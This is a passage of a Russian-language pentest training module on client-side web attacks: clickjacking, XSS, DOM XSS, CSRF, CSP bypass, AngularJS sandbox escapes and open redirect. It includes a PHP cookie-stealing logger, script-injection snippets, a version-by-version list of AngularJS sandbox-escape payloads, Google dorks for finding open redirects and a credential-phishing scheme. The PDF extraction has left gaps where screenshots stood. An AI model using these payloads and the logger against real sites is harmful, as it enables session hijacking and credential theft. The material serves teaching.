Академический Документы
Профессиональный Документы
Культура Документы
6.21 Клиентские Атаки
6.21 Клиентские Атаки
Clickjacking
Clickjacking – метод обмана пользователя. Злоумышленник делает
страницу сайта с невидимым слоем, который может занимать всю
страницу или какую-то часть. Например, находиться только над
определенной кнопкой сайта. После чего жертва заманивается на этот
сайт. При клике по области сайта, жертва технически кликает по
невидимому слою, чем вызывает срабатывание кода злоумышленника.
1
сценарий – это похищение клика. В этом случае в прозрачном слое
будет находиться сайт, на который злоумышленник хочет послать клик
пользователя. Если пользователь будет на нем авторизован, то таким
образом на сайте, расположенном в прозрачном слое, будет
произведет клик от лица пользователя.
2
Теперь посмотрим код страницы:
3
на максимум. Изменим прозрачность на 0.7 и чуть сместим кнопку, что
бы было наглядно:
4
Что такое XSS
XSS (Cross Site Scripting) или межсайтовый скриптинг осуществляется
посредством внедрения вредоносного кода со стороны клиента в
выдаваемую веб-страницу. После чего на компьютере всех, кто запросит
эту страницу, будет выполнен вредоносный код.
5
Наглядно можно посмотреть на схеме ниже:
6
В результате:
7
После проведенной атаки так:
8
Если просто введем тестовые данные, то получим:
9
В результате вредоносный код сохранится в сообщении "форума" и
будет выполняться каждый раз, когда кто-то запрашивает страницу с
этим сообщением.
DOM XSS
Тип атаки через DOM(Document Object Model) отличается от остальных
тем, что не основан на внедрении вредоносного кода как такового, а
осуществляет воздействие непосредственно на объект DOM страницы.
Теперь, благодаря этой атаке, уязвимыми могут быть не только
скриптовые страницы сайта, но и обычные, статические страницы html.
Потому что javascript может использоваться и там.
Существует 2 вида XML парсеров: SAX(Simple API for XML) и DOM. Они
отличаются друг от друга тем, что первый основан на генерации
событий для каждого элемента XML документа, а второй сначала
загружает весь документ, а потом работает с ним как с единым целым.
Т.к. html является подвидом XML, то все вышесказанное относится и к
нему. Как раз именно концепцию DOM и используют браузеры. Они
10
представляют полученную html страницу в виде древовидной
структуры, которую вы давно уже знаете.
HTML --
HEAD --
TITLE (Some Document)
BODY --
H1 (Welcome)
P (Some text for site)
Соответствует:
<html>
<head>
<title>Some Document</title>
</head>
<body>
<h1>Welcome</h1>
<p>Some text for site</p>
</body>
</html>
11
В итоге на странице будет выведено следующее:
Welcome
Some text for site
This is text from javascript
End of page
12
Рассмотрим на простейшем примере:
13
переводят такие символы в код URL, из-за чего в функцию eval придет не
та строка, которая нам нужна. Обойти можно многими способами, один
из которых – это использование функции String.fromCharCode():
До:
14
После:
15
И так далее. Основной список с возможными нагрузками будет
предоставлен в отдельном файле.
Так же стоит почитать этот ресурс, где всё подробно все описано:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
16
Сам скрипт на сервере злоумышленника может выглядеть следующим
образом:
<?php
$f = fopen('cookie.txt', 'a');
$cookie = $_GET['cookie'];
fwrite($f,$cookie . ' | ');
fclose($f);
?>
CSRF
17
вопросы для восстановления пароля, добавлять новых пользователей
на сервис, если позволяют права. Так же полезно применять атаку
совместно с XSS атакой, описанной ранее.
Bypass CSP
Для начала надо разобраться, что такое CSP. CSP (Content Security
Policy) – это политика защиты контента. Она дополняет SOP и призвана
предотвращать атаки с внедрением кода, а именно XSS.
18
Использование CSP выглядит так:
Content-Security-Policy: font-src ‘self’ http://mySiteFonts.com
frame-src ‘none’
connect-src ‘*.myStie.com’
script-src ‘self’
19
<img
src=”http://anotherSite.ru/char/help.php?message=<script>alert(‘xss’);</script>
”>
<script src=”omeValidSite.com/uploads/file=evil.js”></script>
20
Неважно, какие это файлы. Главное, что бы они были подключены от
сервера.
21
В итоге получаем свое окно, внутри страницы:
22
Как видим все отработало отлично.
Например:
<meta http-equiv=”Content-Security-Policy” content=”script-src ‘self’”>
23
что в итоге «отключит» защиту CSP. Эта проблема исправлена в новых
версиях браузера.
24
шаблона. Однако эти песочницы не предназначены для контроля
безопасности и обычно могут быть обойдены.
25
Передача контента от пользователя:
▪ $compile(userContent)
▪ $parse(userContent)
▪ $interpolate(userContent)
1.2.0 – 1.2.1
{{a='constructor';b=
{};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).v
alue,0,'alert(1)')()}}
1.2.2 - 1.2.5
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(
!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
1.2.6 - 1.2.18
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$
).value,0,'alert(1)')()}}
1.2.19 - 1.2.23
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a
","alert(1)"].sort(toString.constructor);}}
1.2.24 – 1.2.29
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002e
x)alert(window\\u002ex=1)')+eval(y)+\"'");}}
26
1.3.0
{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}}
1.3.1 – 1.3.2
{{
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//');
}}
1.3.3 - 1.3.18
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }}
1.3.19
{{
'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join
$eval('x=alert(1)//');
}}
27
1.3.20
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
1.4.0 – 1.4.9
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
1.5.0 – 1.5.8
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(
1
)');}}
1.5.9 – 1.5.11
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}
> = 1.6.0
{{constructor.constructor('alert(1)')()}}
http://liveoverflow.com/php/angularjs/angular.fix.php
28
OpenRedirect
OpenRedirect - это когда веб-приложение принимает контролируемый
пользователем ввод, который указывает ссылку на внешний сайт, и
использует эту ссылку в Redirect. Это упрощает фишинговые атаки.
Параметр http содержит значение URL-адреса и приводит к тому, что
веб-приложение перенаправит запрос на указанный URL-адрес.
Изменив значение URL-адреса на вредоносный сайт, злоумышленник
может успешно запустить фишинговую аферу и украсть учетные данные
пользователя. Поскольку имя сервера в измененной ссылке совпадает с
исходным сайтом, попытки фишинга выглядят очень достоверно.
29
Когда в фишинговой атаке используется открытое перенаправление,
жертва получает электронное письмо с правдоподобной ссылкой на
правильный и ожидаемый домен. Жертва может не заметить
перенаправление на поддельный сайт, потому что в середине длинного
URL-адреса есть параметры, которые манипулируют и изменяют то, куда
их приведет ссылка. Чтобы сделать идентификацию Open Redirect еще
более сложной, перенаправление может быть выполнено после того,
как жертва сначала войдет в систему на целевом веб-сайте.
Эффективный способ обмануть жертву – перенаправить ее на
фальшивый веб-сайт после того, как он введет свои учетные данные на
допустимой странице. Поддельный веб-сайт будет выглядеть идентично
оригинальному веб-сайту, и он попросит жертву повторно ввести свой
пароль для проверки или предупреждения. После того, как жертва
повторно введет свой пароль, он будет логирован злоумышленником, и
жертва будет перенаправлена обратно на действующий веб-сайт. Если
все сделано правильно, жертва не заметит, что его учетные данные
были украдены.
Выполнение поиска в Google - один из лучших инструментов для поиска
уязвимости Open Redirect.
30
Используя эти операторы, можно найти определенные признаки
потенциального открытого перенаправления.
Например:
allinurl:% 3Dhttps *
allinurl:% 253Dhttps *
allinurl:% 3Dhttp *
allinurl:% 253Dhttp *
Например:
allinurl: "RelayState=https"
allinurl: "ReturnUrl=http"
allinurl: “RedirectUri=https”
allinurl: “Return=http”
allinurl: “Return_url%3Dhttps”
allinurl: Redirect%3Dhttps*
allinurl: Redirect_uri%253Dhttps
allinurl: Redirect_url%253Dhttps*
allinurl: RedirectUrl%3Dhttp
allinurl: Forward%3Dhttp*
allinurl: ForwardUrl%253Dhttp
allinurl: Destination%253Dhttp*
Payload List
31
Лучший способ избежать уязвимости Open Redirect - избегать
перенаправления на основе параметров, контролируемых
пользователями или предоставляемых методом GET. Если
перенаправление неизбежно, с ним можно справиться, проверив цель
перенаправления и очистив ее с помощью белого списка утвержденных
URL-адресов.
Сканнер OpenRedirect
https://github.com/ak1t4/open-redirect-scanner
Служба Поддержки
school@codeby.net
32